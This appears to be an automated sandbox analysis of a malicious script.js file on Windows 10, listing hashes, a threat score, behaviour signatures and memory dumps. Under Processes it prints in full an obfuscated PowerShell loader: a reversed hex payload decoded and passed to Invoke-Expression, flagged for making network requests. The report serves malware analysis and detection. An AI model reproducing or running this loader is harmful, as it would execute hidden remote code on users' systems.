Analysis
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max time kernel
17s -
max time network
128s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
12-01-2021 07:49
General
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Target
script.js
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Size
2KB
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MD5
e6a97d295d68915f0b716c6e7c6cf1b3
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SHA1
2affefd7bbf4cf826568f22635a247ca62f27f30
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SHA256
9bd9d73577b5a9fe76184efcb1e84cbed087a7e5892a2a2b9fd0d5d1c54b33b1
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SHA512
2c6144389dbd6b7baac3edeebe47691ea7c4950bab42882b673662615fd04bff7bee1f7ae97573c9d7b12ccb70910ccd5832cab15a7523b92ea45bb811e902fb
Score
8/10
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
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Suspicious behavior: EnumeratesProcesses 3 IoCs
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Suspicious use of AdjustPrivilegeToken 43 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\script.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $srrYk='D4%C7%72%72%02%E6%96%F6%A6%D2%02%37%27%16%86%34%96%96%36%37%16%42%02%D3%76%E6%96%27%47%35%96%96%36%37%16%42%B3%D7%22%F5%42%87%03%22%D5%56%47%97%26%B5%D5%27%16%86%36%B5%B7%02%47%36%56%A6%26%F4%D2%86%36%16%54%27%F6%64%C7%02%92%72%E5%72%82%47%96%C6%07%37%E2%67%D6%42%02%D3%37%27%16%86%34%96%96%36%37%16%42%B3%92%72%76%07%A6%E2%47%37%F6%86%F2%F6%36%E2%C6%F6%36%47%56%E6%96%37%F2%F2%A3%07%47%47%86%72%C2%46%F6%86%47%56%D4%A3%A3%D5%56%07%97%45%C6%C6%16%34%E2%36%96%37%16%24%C6%16%57%37%96%65%E2%47%66%F6%37%F6%27%36%96%D4%B5%C2%72%76%E6%96%27%47%72%02%B2%02%72%35%46%16%72%02%B2%02%72%F6%C6%E6%72%02%B2%02%72%77%F6%44%72%C2%97%47%47%42%82%56%D6%16%E6%97%24%C6%C6%16%34%A3%A3%D5%E6%F6%96%47%36%16%27%56%47%E6%94%E2%36%96%37%16%24%C6%16%57%37%96%65%E2%47%66%F6%37%F6%27%36%96%D4%B5%02%D3%67%D6%42%B3%92%72%36%96%37%16%24%C6%16%57%37%96%65%E2%47%66%F6%37%F6%27%36%96%D4%72%82%56%D6%16%E4%C6%16%96%47%27%16%05%86%47%96%75%46%16%F6%C4%A3%A3%D5%97%C6%26%D6%56%37%37%14%E2%E6%F6%96%47%36%56%C6%66%56%25%E2%D6%56%47%37%97%35%B5%02%D5%46%96%F6%67%B5%B3%D4%C7%72%92%47%E6%56%72%B2%72%96%C6%34%26%72%B2%72%56%75%E2%47%72%B2%72%56%E4%02%47%36%72%B2%72%56%A6%26%F4%72%B2%72%D2%77%56%E4%82%72%D3%97%47%47%42%B3%23%23%07%42%02%D3%02%C6%F6%36%F6%47%F6%27%05%97%47%96%27%57%36%56%35%A3%A3%D5%27%56%76%16%E6%16%D4%47%E6%96%F6%05%56%36%96%67%27%56%35%E2%47%56%E4%E2%D6%56%47%37%97%35%B5%B3%92%23%73%03%33%02%C2%D5%56%07%97%45%C6%F6%36%F6%47%F6%27%05%97%47%96%27%57%36%56%35%E2%47%56%E4%E2%D6%56%47%37%97%35%B5%82%47%36%56%A6%26%F4%F6%45%A3%A3%D5%D6%57%E6%54%B5%02%D3%02%23%23%07%42%B3%92%76%E6%96%07%42%82%02%C6%96%47%E6%57%02%D7%47%56%96%57%15%D2%02%13%02%47%E6%57%F6%36%D2%02%D6%F6%36%E2%56%C6%76%F6%F6%76%02%07%D6%F6%36%D2%02%E6%F6%96%47%36%56%E6%E6%F6%36%D2%47%37%56%47%02%D3%02%76%E6%96%07%42%B7%02%F6%46%B3%56%E6%F6%26%45%42%02%D4%02%C6%16%37%B3%92%72%94%72%C2%72%E3%72%82%56%36%16%C6%07%56%27%E2%72%85%54%E3%72%D3%56%E6%F6%26%45%42';$text =$srrYk.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/1620-2-0x0000000000000000-mapping.dmp
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memory/1620-3-0x00007FFE9A660000-0x00007FFE9B04C000-memory.dmpFilesize
9.9MB
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memory/1620-4-0x000001CF36070000-0x000001CF36071000-memory.dmpFilesize
4KB
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memory/1620-5-0x000001CF507E0000-0x000001CF507E1000-memory.dmpFilesize
4KB